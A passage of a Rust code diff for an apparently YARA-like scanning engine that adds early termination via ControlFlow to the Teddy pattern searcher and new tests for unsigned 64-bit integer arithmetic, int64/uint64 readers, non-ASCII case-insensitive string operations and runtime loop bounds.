start.add(1); let mut prev0 = V::splat(0xFF); while cur <= end.sub(V::Half::BYTES) { let c = self.candidate(cur, &mut prev0); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(1), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(1), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::Half::BYTES); } @@ -1183,37 +1299,53 @@ impl Fat { cur = end.sub(V::Half::BYTES); prev0 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(1), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(1), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Fat { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start.add(2); let mut prev0 = V::splat(0xFF); let mut prev1 = V::splat(0xFF); while cur <= end.sub(V::Half::BYTES) { let c = self.candidate(cur, &mut prev0, &mut prev1); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(2), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(2), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::Half::BYTES); } @@ -1223,29 +1355,40 @@ impl Fat { prev0 = V::splat(0xFF); prev1 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0, &mut prev1); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(2), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(2), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } impl Fat { #[inline(always)] - pub(crate) unsafe fn find_overlapping( + pub(crate) unsafe fn find_overlapping( &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow<()> + where + F: FnMut(Match) -> ControlFlow<()>, + { unsafe { if (end as usize - start as usize) < self.minimum_len() { - return; + return ControlFlow::Continue(()); } let mut cur = start.add(3); let mut prev0 = V::splat(0xFF); @@ -1254,8 +1397,13 @@ impl Fat { while cur <= end.sub(V::Half::BYTES) { let c = self.candidate(cur, &mut prev0, &mut prev1, &mut prev2); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(3), end, c, callback); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(3), end, c, &mut callback) + .is_break() + { + return ControlFlow::Break(()); } cur = cur.add(V::Half::BYTES); } @@ -1267,14 +1415,22 @@ impl Fat { prev2 = V::splat(0xFF); let c = self.candidate(cur, &mut prev0, &mut prev1, &mut prev2); - if !c.is_zero() { - self.teddy.verify_all(cur.sub(3), end, c, &mut |m| { - if m.start >= prev_bound { - callback(m); - } - }); + if !c.is_zero() + && self + .teddy + .verify_all(cur.sub(3), end, c, |m| { + if m.start >= prev_bound { + callback(m) + } else { + ControlFlow::Continue(()) + } + }) + .is_break() + { + return ControlFlow::Break(()); } } + ControlFlow::Continue(()) } } } @@ -1419,9 +1575,11 @@ mod tests { let candidate_chunk = 1 << 7; let mut matches = Vec::new(); unsafe { - teddy.verify64_all(start, end, candidate_chunk, &mut |m| { - matches.push(m.pid); - }); + let _ = + teddy.verify64_all(start, end, candidate_chunk, |m: Match| { + matches.push(m.pid); + ControlFlow::Continue(()) + }); } assert_eq!(matches, vec![0]); } @@ -1447,8 +1605,9 @@ mod tests { macro_rules! assert_finds { ($s:expr, $start:expr, $end:expr) => {{ let mut found = false; - $s.find_overlapping($start, $end, &mut |_| { - found = true + let _ = $s.find_overlapping($start, $end, &mut |_| { + found = true; + ControlFlow::Continue(()) }); assert!(found); }}; @@ -1473,10 +1632,18 @@ mod tests { let short_haystack = b"abc"; let s_start = short_haystack.as_ptr(); let s_end = s_start.add(short_haystack.len()); - s1.find_overlapping(s_start, s_end, &mut |_| {}); - s2.find_overlapping(s_start, s_end, &mut |_| {}); - s3.find_overlapping(s_start, s_end, &mut |_| {}); - s4.find_overlapping(s_start, s_end, &mut |_| {}); + let _ = s1.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = s2.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = s3.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = s4.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); let mut tail_haystack = [0x01; 25]; tail_haystack[9..13].copy_from_slice(b"abcd"); @@ -1501,10 +1668,18 @@ mod tests { assert_finds!(f3, start, end); assert_finds!(f4, start, end); - f1.find_overlapping(s_start, s_end, &mut |_| {}); - f2.find_overlapping(s_start, s_end, &mut |_| {}); - f3.find_overlapping(s_start, s_end, &mut |_| {}); - f4.find_overlapping(s_start, s_end, &mut |_| {}); + let _ = f1.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = f2.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = f3.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = f4.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); assert_finds!(f1, t_start, t_end); assert_finds!(f2, t_start, t_end); @@ -1513,6 +1688,27 @@ mod tests { } } } + + #[test] + fn slim_searcher_early_termination() { + let pats = Arc::new(Patterns { + by_id: vec![b"abcd".to_vec()], + minimum_len: 4, + }); + let s1 = unsafe { Slim::<__m128i, 1>::new(pats) }; + let haystack = pad64(b"abcd abcd abcd abcd"); + let start = haystack.as_ptr(); + let end = unsafe { start.add(haystack.len()) }; + + let mut count = 0; + unsafe { + let _ = s1.find_overlapping(start, end, &mut |_| { + count += 1; + ControlFlow::Break(()) + }); + } + assert_eq!(count, 1); + } } #[cfg(all( @@ -1540,8 +1736,9 @@ mod tests { macro_rules! assert_finds { ($s:expr, $start:expr, $end:expr) => {{ let mut found = false; - $s.find_overlapping($start, $end, &mut |_| { - found = true + let _ = $s.find_overlapping($start, $end, &mut |_| { + found = true; + ControlFlow::Continue(()) }); assert!(found); }}; @@ -1566,10 +1763,18 @@ mod tests { let short_haystack = b"abc"; let s_start = short_haystack.as_ptr(); let s_end = s_start.add(short_haystack.len()); - s1.find_overlapping(s_start, s_end, &mut |_| {}); - s2.find_overlapping(s_start, s_end, &mut |_| {}); - s3.find_overlapping(s_start, s_end, &mut |_| {}); - s4.find_overlapping(s_start, s_end, &mut |_| {}); + let _ = s1.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = s2.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = s3.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); + let _ = s4.find_overlapping(s_start, s_end, &mut |_| { + ControlFlow::Continue(()) + }); let mut tail_haystack = [0x01; 25]; tail_haystack[9..13].copy_from_slice(b"abcd"); @@ -1582,5 +1787,26 @@ mod tests { assert_finds!(s4, t_start, t_end); } } + + #[test] + fn slim_searcher_early_termination_aarch64() { + let pats = Arc::new(Patterns { + by_id: vec![b"abcd".to_vec()], + minimum_len: 4, + }); + let s1 = unsafe { Slim::::new(pats) }; + let haystack = pad64(b"abcd abcd abcd abcd"); + let start = haystack.as_ptr(); + let end = unsafe { start.add(haystack.len()) }; + + let mut count = 0; + unsafe { + let _ = s1.find_overlapping(start, end, &mut |_| { + count += 1; + ControlFlow::Break(()) + }); + } + assert_eq!(count, 1); + } } } diff --git a/lib/src/teddy/mod.rs b/lib/src/teddy/mod.rs index 0c83dd7c9..8f3159d8a 100644 --- a/lib/src/teddy/mod.rs +++ b/lib/src/teddy/mod.rs @@ -10,6 +10,7 @@ with minor modifications. #![allow(clippy::new_ret_no_self)] use core::fmt::Debug; +use std::ops::ControlFlow; use std::sync::Arc; mod generic; @@ -22,8 +23,8 @@ pub(crate) trait SearcherT: Debug + Send + Sync { &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ); + callback: &mut dyn FnMut(Match) -> ControlFlow<()>, + ) -> ControlFlow<()>; } #[derive(Clone, Debug)] @@ -155,22 +156,42 @@ pub(crate) struct Searcher { impl Searcher { #[inline(always)] - pub(crate) fn find_overlapping( + pub(crate) fn find_overlapping( &self, haystack: &[u8], at: usize, - callback: &mut dyn FnMut(Match), - ) { + mut callback: F, + ) -> ControlFlow + where + F: FnMut(Match) -> ControlFlow, + C: Default, + { if haystack[at..].len() < self.minimum_len { - return; + return ControlFlow::Continue(C::default()); } let hayptr = haystack.as_ptr(); + let mut break_val = None; + let mut last_continue = None; unsafe { - self.imp.find_overlapping( + let res = self.imp.find_overlapping( hayptr.add(at), hayptr.add(haystack.len()), - callback, + &mut |m| match callback(m) { + ControlFlow::Continue(c) => { + last_continue = Some(c); + ControlFlow::Continue(()) + } + ControlFlow::Break(b) => { + break_val = Some(b); + ControlFlow::Break(()) + } + }, ); + if res.is_break() { + ControlFlow::Break(break_val.unwrap()) + } else { + ControlFlow::Continue(last_continue.unwrap_or_default()) + } } } @@ -210,6 +231,7 @@ fn is_available_avx2() -> bool { mod x86_64 { use super::{Match, Patterns, Searcher, SearcherT}; use core::arch::x86_64::{__m128i, __m256i}; + use std::ops::ControlFlow; use std::sync::Arc; #[derive(Clone, Debug)] @@ -238,11 +260,11 @@ mod x86_64 { &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + callback: &mut dyn FnMut(Match) -> ControlFlow<()>, + ) -> ControlFlow<()> { unsafe { self.slim128.find_overlapping(start, end, callback) - }; + } } } }; @@ -284,17 +306,17 @@ mod x86_64 { &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + callback: &mut dyn FnMut(Match) -> ControlFlow<()>, + ) -> ControlFlow<()> { let len = (end as usize).saturating_sub(start as usize); if len < self.slim256.minimum_len() { unsafe { self.slim128.find_overlapping(start, end, callback) - }; + } } else { unsafe { self.slim256.find_overlapping(start, end, callback) - }; + } } } } @@ -331,11 +353,11 @@ mod x86_64 { &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + callback: &mut dyn FnMut(Match) -> ControlFlow<()>, + ) -> ControlFlow<()> { unsafe { self.fat256.find_overlapping(start, end, callback) - }; + } } } }; @@ -354,6 +376,7 @@ mod x86_64 { mod aarch64 { use super::{Match, Patterns, Searcher, SearcherT}; use core::arch::aarch64::uint8x16_t; + use std::ops::ControlFlow; use std::sync::Arc; #[derive(Clone, Debug)] @@ -382,10 +405,10 @@ mod aarch64 { &self, start: *const u8, end: *const u8, - callback: &mut dyn FnMut(Match), - ) { + callback: &mut dyn FnMut(Match) -> ControlFlow<()>, + ) -> ControlFlow<()> { unsafe { - self.slim128.find_overlapping(start, end, callback); + self.slim128.find_overlapping(start, end, callback) } } } @@ -417,11 +440,16 @@ mod tests { let searcher = builder.build()?; let base = haystack.as_ptr() as usize; let mut matches = Vec::new(); - searcher.find_overlapping(haystack, at, &mut |m| { - let start = m.start() as usize - base; - let end = m.end() as usize - base; - matches.push((m.pattern(), start, end)); - }); + let _ = searcher.find_overlapping( + haystack, + at, + |m: Match| -> ControlFlow<()> { + let start = m.start() as usize - base; + let end = m.end() as usize - base; + matches.push((m.pattern(), start, end)); + ControlFlow::Continue(()) + }, + ); Some(matches) } @@ -757,4 +785,25 @@ mod tests { }; assert!(s.minimum_len() >= 2); } + + #[test] + fn searcher_early_exit_on_timeout() { + let mut b = Builder::new(); + b.add(b"abcd"); + let Some(searcher) = b.build() else { + return; + }; + let haystack = pad64(b"abcd abcd abcd abcd"); + let mut count = 0; + let res = searcher.find_overlapping( + &haystack, + 0, + |_m: Match| -> ControlFlow<&'static str> { + count += 1; + ControlFlow::Break("timeout") + }, + ); + assert_eq!(count, 1); + assert_eq!(res, ControlFlow::Break("timeout")); + } } diff --git a/lib/src/tests/mod.rs b/lib/src/tests/mod.rs index ea0f3c074..b711056fb 100644 --- a/lib/src/tests/mod.rs +++ b/lib/src/tests/mod.rs @@ -281,6 +281,17 @@ fn string_operations() { condition_true!(r#""foo" istartswith "Fo""#); condition_true!(r#""foo" iendswith "OO""#); + // Some non-ASCII characters are lowercased to ASCII (U+212A KELVIN SIGN + // -> 'k', 'İ' -> "i\u{307}"), or change their length in bytes ('Ⱥ' -> 'ⱥ' + // goes from 2 to 3 bytes). + condition_true!(r#""\xE2\x84\xAAelvin" istartswith "kel""#); + condition_true!(r#""İstanbul" istartswith "i""#); + condition_true!(r#""Ⱥ" istartswith "ⱥ""#); + condition_true!(r#""ABC\xE2\x84\xAA" iendswith "k""#); + condition_true!(r#""x\xE2\x84\xAAx" icontains "k""#); + condition_true!(r#""\xE2\x84\xAA" iequals "k""#); + condition_true!(r#""Ⱥ" iequals "ⱥ""#); + condition_false!(r#""foo" contains "OO""#); condition_false!(r#""foo" startswith "Fo""#); condition_false!(r#""foo" endswith "OO""#); @@ -444,6 +455,325 @@ fn intxx() { condition_false!("int32(17) != 0", &data); } +#[test] +fn unsigned_integers() { + // Literals that don't fit in an i64 are unsigned. + condition_true!("0xFFFFFFFFFFFFFFFF == 18446744073709551615"); + condition_true!("0x8000000000000000 == 9223372036854775808"); + condition_true!("0o1777777777777777777777 == 0xFFFFFFFFFFFFFFFF"); + + // The minimum i64 can be written as a literal. + condition_true!("-9223372036854775808 == -0x7FFFFFFFFFFFFFFF - 1"); + condition_true!("-9223372036854775808 < 0"); + + // Comparisons between unsigned integers. + condition_true!("0xFFFFFFFFFFFFFFFF > 0x8000000000000000"); + condition_true!("0x8000000000000000 < 0xFFFFFFFFFFFFFFFF"); + condition_true!("0xFFFFFFFFFFFFFFFF >= 0xFFFFFFFFFFFFFFFF"); + condition_true!("0x8000000000000000 <= 0xFFFFFFFFFFFFFFFF"); + + // Comparisons between unsigned and signed integers are mathematically + // correct, unsigned integers are greater than any negative integer. + condition_true!("0xFFFFFFFFFFFFFFFF > 0x7FFFFFFFFFFFFFFF"); + condition_true!("0x8000000000000000 > 0"); + condition_true!("0xFFFFFFFFFFFFFFFF > -1"); + condition_true!("0xFFFFFFFFFFFFFFFF >= -1"); + condition_true!("0xFFFFFFFFFFFFFFFF != -1"); + condition_true!("-1 < 0xFFFFFFFFFFFFFFFF"); + condition_true!("-1 <= 0xFFFFFFFFFFFFFFFF"); + condition_true!("-1 != 0xFFFFFFFFFFFFFFFF"); + condition_false!("0xFFFFFFFFFFFFFFFF == -1"); + condition_false!("0xFFFFFFFFFFFFFFFF < -1"); + condition_false!("0xFFFFFFFFFFFFFFFF <= -1"); + condition_false!("-1 == 0xFFFFFFFFFFFFFFFF"); + condition_false!("-1 > 0xFFFFFFFFFFFFFFFF"); + condition_false!("-1 >= 0xFFFFFFFFFFFFFFFF"); + + // Comparisons between unsigned integers and floats. + condition_true!("0xFFFFFFFFFFFFFFFF > 1.0"); + condition_true!("0x8000000000000000 == 9223372036854775808.0"); + + // Constant folding. + condition_true!("0xFFFFFFFFFFFFFFFF - 1 == 0xFFFFFFFFFFFFFFFE"); + condition_true!("0x8000000000000000 - 1 == 0x7FFFFFFFFFFFFFFF"); + condition_true!( + "0x8000000000000000 + 0x7FFFFFFFFFFFFFFF == 0xFFFFFFFFFFFFFFFF" + ); + condition_true!("0xFFFFFFFFFFFFFFFF * 1 == 0xFFFFFFFFFFFFFFFF"); + condition_true!("0xFFFFFFFFFFFFFFFF & 0xFF == 0xFF"); + condition_true!("0xFFFFFFFFFFFFFFFF ^ 0xFF == 0xFFFFFFFFFFFFFF00"); + condition_true!("0x8000000000000000 | 1 == 0x8000000000000001"); + condition_true!("0xFFFFFFFFFFFFFFFF >> 60 == 15"); + condition_true!("0xFFFFFFFFFFFFFFFF << 4 == 0xFFFFFFFFFFFFFFF0"); + condition_true!("0x8000000000000000 + 0.0 == 9223372036854775808.0"); + condition_true!("9007199254740993 + 0 == 9007199254740993"); + + // Division and modulus are unsigned. + condition_true!(r"0xFFFFFFFFFFFFFFFF \ 2 == 0x7FFFFFFFFFFFFFFF"); + condition_true!("0xFFFFFFFFFFFFFFFF % 10 == 5"); + condition_true!(r"0x8000000000000000 \ 2.0 == 4611686018427387904.0"); + condition_true!(r"9223372036854775808.0 \ 0x8000000000000000 == 1.0"); + condition_true!(r"-1 \ 2.0 == -0.5"); + + // When signed and unsigned integers are mixed, the result is unsigned, + // regardless of the values of the signed integers. Negative integers are + // interpreted as unsigned, so they wrap around. + condition_true!( + r"(4 \ 2) * (0xFFFFFFFFFFFFFFFF \ 2) == 0xFFFFFFFFFFFFFFFE" + ); + condition_true!( + r"(5 % 3) * (0xFFFFFFFFFFFFFFFF \ 2) == 0xFFFFFFFFFFFFFFFE" + ); + condition_true!( + r"(5 - 3) * (0xFFFFFFFFFFFFFFFF \ 2) == 0xFFFFFFFFFFFFFFFE" + ); + condition_true!("0xFFFFFFFFFFFFFFFF + (-1) == 0xFFFFFFFFFFFFFFFE"); + condition_true!("(-1) + 0xFFFFFFFFFFFFFFFF == 0xFFFFFFFFFFFFFFFE"); + condition_true!("((-1) | 0x8000000000000000) == 0xFFFFFFFFFFFFFFFF"); + condition_true!(r"0xFFFFFFFFFFFFFFFF \ (-2) == 1"); + condition_true!("0xFFFFFFFFFFFFFFFF % (-2) == 1"); + + // Same operations but with values not known at compile time. + condition_true!( + "for all x in (0xFFFFFFFFFFFFFFFF) : ( + x > 0 and x > -1 and x >= -1 and x != -1 and not x == -1 and + -1 < x and -1 <= x and -1 != x and not -1 == x and + x > 0x7FFFFFFFFFFFFFFF and x == 0xFFFFFFFFFFFFFFFF + )" + ); + condition_true!( + r"for all x in (0xFFFFFFFFFFFFFFFF) : ( + x \ 2 == 0x7FFFFFFFFFFFFFFF and + x \ 1.0 == 18446744073709551615.0 and + 18446744073709551615.0 \ x == 1.0 and + x % 10 == 5 and + x >> 60 == 15 and + x << 4 == 0xFFFFFFFFFFFFFFF0 and + x - 1 == 0xFFFFFFFFFFFFFFFE and + x + 1 == 0 and + x * 1.0 == 18446744073709551615.0 and + x > 1.0 + )" + ); + condition_true!( + r"for all x in (-1) : ( + x \ 2.0 == -0.5 and + 2.0 \ x == -2.0 + )" + ); + + // Comparisons between unsigned and signed values not known at compile + // time. + condition_true!( + "for all x in (0xFFFFFFFFFFFFFFFF) : ( + for all y in (-1) : ( + x > y and x >= y and x != y and not x == y and + y < x and y <= x and y != x and not y == x + ) + )" + ); + condition_true!( + "for all x in (0x8000000000000000) : ( + for all y in (1) : (x > y and y < x) + )" + ); + + // When an unsigned integer is mixed with a signed integer the result is + // unsigned, even if the value of the signed integer is not known at + // compile time, or is negative. + condition_true!( + "for all x in (0xFFFFFFFFFFFFFFFF) : ( + for all y in (1) : (x - y == 0xFFFFFFFFFFFFFFFE and x - y > 0) + )" + ); + condition_true!( + "for all x in (0xFFFFFFFFFFFFFFFF) : ( + for all y in (-1) : ( + x + y == 0xFFFFFFFFFFFFFFFE and x * y == 1 and x % y == 0 + ) + )" + ); + condition_true!( + r"for all i in (2..2) : ( + i * (0xFFFFFFFFFFFFFFFF \ 2) == 0xFFFFFFFFFFFFFFFE + )" + ); + + // Shifts take the signedness of the left operand. + condition_true!( + "for all x in (0xFFFFFFFFFFFFFFFF) : ( + for all y in (60) : (x >> y == 15) + )" + ); + condition_true!( + "for all x in (-1) : ( + for all y in (0x8000000000000000) : (x >> y == 0) + )" + ); + + // Tuples that mix unsigned and signed integers are unsigned. + condition_true!("for all x in (1, 0xFFFFFFFFFFFFFFFF) : (x > 0)"); + condition_true!( + "for all x in (-5, 0xFFFFFFFFFFFFFFFF) : (x > 0xFFFFFFFFFFFFFFFA)" + ); + + // Unary minus produces a signed integer, while the bitwise not of an + // unsigned integer is unsigned. Negating an unsigned integer greater + // than 0x7FFFFFFFFFFFFFFF wraps around at runtime, but negating a + // constant that produces a result that doesn't fit in a signed integer + // is an error (e.g: `-(0xFFFFFFFFFFFFFFFF)`). + condition_true!("for all x in (0xFFFFFFFFFFFFFFFF) : (-x == 1)"); + condition_true!("-(0x8000000000000000) == -9223372036854775808"); + condition_true!("~0xFFFFFFFFFFFFFFFF == 0"); + condition_true!("~0x7FFFFFFFFFFFFFFF == -9223372036854775808"); + + // Dividing i64::MIN by -1 overflows signed 64-bit integer and evaluates + // to undefined instead of trapping at runtime. + condition_false!(r"-9223372036854775808 \ -1 == 0"); + condition_true!(r"not defined (-9223372036854775808 \ -1)"); + condition_true!("-9223372036854775808 % -1 == 0"); + + // Dividing an unsigned integer by -1 is an unsigned division, where -1 + // is interpreted as 0xFFFFFFFFFFFFFFFF. + condition_true!(r"0x8000000000000000 \ -1 == 0"); + condition_true!(r"0xFFFFFFFFFFFFFFFF \ -1 == 1"); +} + +#[test] +fn int64xx() { + let data = [ + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0xff, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + ]; + + condition_true!("int64(0) == 0x0807060504030201", &data); + condition_true!("int64(1) == 0x0908070605040302", &data); + condition_true!("int64(10) == -1", &data); + condition_true!("int64(12) == -1", &data); + condition_true!(r"int64(10) \ 2.0 == -0.5", &data); + // Bytes 04 05 06 07 08 09 0A FF, the most significant byte is 0xFF. + condition_true!("int64(3) < 0", &data); + condition_true!("int64(3) == -0x00f5f6f7f8f9fafc", &data); + + condition_true!("int64be(0) == 0x0102030405060708", &data); + condition_true!("int64be(1) == 0x0203040506070809", &data); + condition_true!("int64be(10) == -1", &data); + condition_true!("int64be(3) == 0x0405060708090aff", &data); + + // Dividing i64::MIN by -1 returns undefined. + condition_true!( + r"not defined (int64(0) \ -1)", + &[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80] + ); + + // Reading past the end of the data, or at a negative offset, returns + // an undefined value. + condition_false!("int64(13) == 0", &data); + condition_false!("int64(13) != 0", &data); + condition_false!("int64be(13) == 0", &data); + condition_false!("int64be(13) != 0", &data); + condition_false!("int64(-1) == 0", &data); + condition_false!("int64(-1) != 0", &data); +} + +#[test] +fn uint64xx() { + let data = [ + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0xff, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + ]; + + condition_true!("uint64(0) == 0x0807060504030201", &data); + condition_true!("uint64(1) == 0x0908070605040302", &data); + condition_true!("uint64(10) == 0xFFFFFFFFFFFFFFFF", &data); + condition_true!("uint64(12) == 18446744073709551615", &data); + + // Bytes 04 05 06 07 08 09 0A FF, the most significant byte is 0xFF, but + // the result is unsigned. + condition_true!("uint64(3) > 0", &data); + condition_true!("uint64(3) == 0xFF0A090807060504", &data); + condition_true!("uint64(3) > 0x7FFFFFFFFFFFFFFF", &data); + condition_true!("uint64(10) > -1", &data); + condition_true!("uint64(10) >= -1", &data); + condition_false!("uint64(10) == -1", &data); + // `uint64` and `int64` read the same bits, but the values are different. + condition_false!("uint64(10) == int64(10)", &data); + condition_true!("uint64(10) > int64(10)", &data); + condition_true!("uint64(0) == int64(0)", &data); + + // Arithmetic with unsigned results. + condition_true!(r"uint64(10) \ uint8(0) == 0xFFFFFFFFFFFFFFFF", &data); + condition_true!(r"uint64(10) \ 2 == 0x7FFFFFFFFFFFFFFF", &data); + condition_true!(r"uint64(10) \ uint8(1) == 0x7FFFFFFFFFFFFFFF", &data); + condition_true!(r"uint64(10) % uint8(9) == 5", &data); + condition_true!("uint64(10) + uint8(0) == 0", &data); + condition_true!("uint64(10) - uint16(0) == 0xFFFFFFFFFFFFFDFE", &data); + condition_true!("uint64(10) - uint32(0) == 0xFFFFFFFFFBFCFDFE", &data); + condition_true!("uint8(0) - 2 == -1", &data); + condition_true!("uint16(0) - 0x0202 == -1", &data); + condition_true!("uint32(0) - 0x04030202 == -1", &data); + condition_true!("uint64(10) % 10 == 5", &data); + condition_true!("uint64(10) >> 60 == 15", &data); + condition_true!("uint64(10) + 1 == 0", &data); + condition_true!("uint64(10) - 1 == 0xFFFFFFFFFFFFFFFE", &data); + condition_true!("uint64(10) == 18446744073709551615.0", &data); + condition_true!(r"uint64(10) \ 1.0 == 18446744073709551615.0", &data); + + condition_true!("uint64be(0) == 0x0102030405060708", &data); + condition_true!("uint64be(1) == 0x0203040506070809", &data); + condition_true!("uint64be(10) == 0xFFFFFFFFFFFFFFFF", &data); + condition_true!("uint64be(3) == 0x0405060708090aff", &data); + condition_true!("uint64be(5) == 0x060708090AFFFFFF", &data); + + // Reading past the end of the data, or at a negative offset, returns + // an undefined value. + condition_false!("uint64(13) == 0", &data); + condition_false!("uint64(13) != 0", &data); + condition_false!("uint64be(13) == 0", &data); + condition_false!("uint64be(13) != 0", &data); + condition_false!("uint64(-1) == 0", &data); + condition_false!("uint64(-1) != 0", &data); + condition_false!("uint8(0x7FFFFFFFFFFFFFFF) == 0", &data); + condition_false!("float64(0x7FFFFFFFFFFFFFFF) == 0.0", &data); + + // Using `uint64` (> i64::MAX) or negative `int8` at runtime in + // quantifiers, range bounds, and pattern anchors. Unsigned values greater + // than i64::MAX behave like negative numbers in all these cases, which is + // usually the intention when they are the result of a subtraction that + // wrapped around. + condition_false!("uint64(10) of (true)", &data); + condition_false!("int8(10) of (true)", &data); + condition_false!("for uint64(10) i in (0..1) : (true)", &data); + condition_false!("for int8(10) i in (0..1) : (true)", &data); + condition_false!("for any i in (0..uint64(10)) : (true)", &data); + condition_false!("for any i in (5..uint64(10)) : (true)", &data); + condition_false!("for any i in (uint64(10)..5) : (true)", &data); + + rule_false!( + r#" + rule test { + strings: + $a = { 01 02 } + condition: + uint64(10) of ($a) or int8(10) of ($a) + } + "#, + &data + ); + + rule_false!( + r#" + rule test { + strings: + $a = { 01 02 } + condition: + $a at uint64(10) or $a in (0..uint64(10)) or #a in (0..uint64(10)) > 0 + } + "#, + &data + ); +} + #[test] fn floatxx() { condition_true!("float32(0) == 1.0", &[0x00, 0x00, 0x80, 0x3f]); @@ -522,6 +852,42 @@ fn for_in() { condition_true!("for 10% i in (0..9) : ( i == 0 )"); condition_false!("for 11% i in (0..9) : ( i == 0 )"); + // Percentages computed at runtime can be outside the range [0, 100], and + // `n * percentage / 100` may not fit in an i64. This must not trap. Such + // percentages can't be satisfied, as the number of iterations that must + // be true is either negative or larger than the number of iterations. + condition_false!( + "for int64(0) % i in (0..1000) : ( true )", + &[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80] + ); + condition_false!( + "for int64(0) % i in (0..1000) : ( true )", + &[0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F] + ); + condition_false!( + "for uint64(0) % i in (0..1000) : ( true )", + &[0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF] + ); + + // Unsigned percentages are never negative. If `uint64(0)` was converted + // to float as a signed integer it would be -1, `n * -1 / 100` would be + // rounded to 0, and the loop would behave as `for none ...`. + condition_false!( + "for uint64(0) % i in (0..9) : ( false )", + &[0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF] + ); + + // Negative percentages can't be satisfied either, even when + // `n * percentage / 100` is rounded to 0, which would mean `none`. + condition_false!("for int8(0) % i in (0..9) : ( false )", &[0xFF]); + condition_false!("for int8(0) % i in (0..9) : ( true )", &[0xFF]); + condition_false!("for int8(0) % i in (0..1000) : ( true )", &[0xFF]); + + // Negative quantifiers computed at runtime can't be satisfied. + condition_false!("for int8(0) i in (0..9) : ( true )", &[0xFF]); + condition_false!("for int8(0) i in (0..9) : ( false )", &[0xFF]); + condition_false!("int8(0) of (true, false)", &[0xFF]); + // If the range's lower bound is greater than the upper bound // the `for` loop is always false. The outer loop is only for // being able to write a loop with a range (i+1..i) where @@ -560,6 +926,66 @@ fn for_in() { )" ); + // Negative lower bounds known at compile time are rejected by the + // compiler, but the lower bound can be negative at runtime (e.g: when it + // is computed from `filesize` or a pattern offset). In such cases the + // loop iterates over the negative values as usual. + condition_true!( + "for any x in (-3) : ( for any i in (x..0) : ( i == -3 ) )" + ); + condition_true!("for any x in (-3) : ( for 4 i in (x..0) : ( i <= 0 ) )"); + condition_true!( + "for any i in (filesize - 10..filesize) : ( uint8(i) == 0x41 )", + b"A" + ); + + // A negative (signed) lower bound with an unsigned upper bound that fits + // in an `i64`. + condition_true!( + "for any x in (-2) : ( for 4 i in (x..uint64(0)) : ( true ) )", + &[0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] + ); + + // The range is empty when upper_bound < lower_bound, even if computing + // `upper_bound - lower_bound + 1` wraps around into a positive number. + condition_false!( + "for any x in (0x7FFFFFFFFFFFFFFF) : ( + for any y in (-9223372036854775808) : ( + for any i in (x..y) : ( true ) + ) + )" + ); + + // Unsigned bounds greater than i64::MAX can't be represented by the loop + // variable, so the range is empty. Usually, these bounds are the result of + // an unsigned subtraction that wrapped around, like `x - 1` when `x` is 0. + condition_false!( + "for any x in (0xFFFFFFFFFFFFFFFE) : ( + for any y in (0xFFFFFFFFFFFFFFFF) : ( + for any i in (x..y) : 